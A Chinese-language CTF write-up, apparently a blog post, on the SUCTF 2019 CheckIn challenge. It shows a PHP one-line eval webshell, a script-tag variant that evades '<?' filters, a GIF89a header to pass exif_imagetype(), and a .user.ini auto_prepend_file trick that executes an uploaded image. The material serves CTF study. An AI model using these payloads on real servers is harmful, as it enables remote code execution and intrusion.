[SUCTF 2019]CheckIn1

知识点:.user.ini   .htaccess       //详细知识点补充到最后,建议学习一下

              文件检测内容绕过

               一句话木马

               Webshell 工具连接

<?php @eval($_POST['cmd'])?>   // .png .jpg .gif

我们开始上传.png|.gif|.jpg格式的图片内容如上,都会给我们提示<? in contents,说明该内容被检测到了,所以我们用到了下面的一种新姿势.

<script language='php'>@eval($_POST['cmd'])</script>  // .png .jpg .gif

  上传完之后,发现exif_imagetype() 函数报错 --  exif_imagetype() 读取一个图像的第一个字节并检查其签名.所以我们给内容加上内容头部. png:塒NG  |   .gif:GIF89a  |  .jpg:塒NG

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>  // .png .jpg .gif

  由于.htaccess文件的后缀名被限制了,不能够上传,于是我们用到了一个新的姿势去进行文件上    传. -- .user.ini php配置文件.

GIF89a                             
auto_prepend_file=test.png

上传成功,之后我们用AntSword去连接获取flag值

题目涉及到的详细知识点

一.   .htaccess   .user.ini 配置文件

php.ini 文件是全局配置文件,对整个web服务器都起作用,而.htaccess 和 .user.ini 同样是目录的配置文件,我们可以理解为用户自定义的配置php.ini,可以利用其来构造后门。

.uer.ini 比 .htaccess 文件的用途更广,在nginx/apache/IIS 的服务器中只要运行FastCGI环境下运行的php,那么就都起作用

举个例子: auto_prepend_file : 该文件的内容将在每个 PHP 脚本执行之前自动包含

                   auto_append_file : 该文件的内容将在每个 PHP 脚本执行之后自动包含

1. 在 .user.ini 文件中配置

    auto_prepend_file=test.png

2. 上传test.png一句话木马

    GIF89a
    <script language='php'>@eval($_POST['cmd'])</script>

3. 上传的目录中存在php执行文件,上传的一句话木马文件以及.user.ini 配置文件

4. 当访问该目录下的php文件执行文件时,首先会调用.user.ini 使test.png 包含到php文件内,然后执行php文件.

局限:  .user.ini 配置文件,需要在同一目录下,并且该目录下存在php文件,但是上传图片存储的目录一般很小概率会存在php文件。

       

  • 8
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值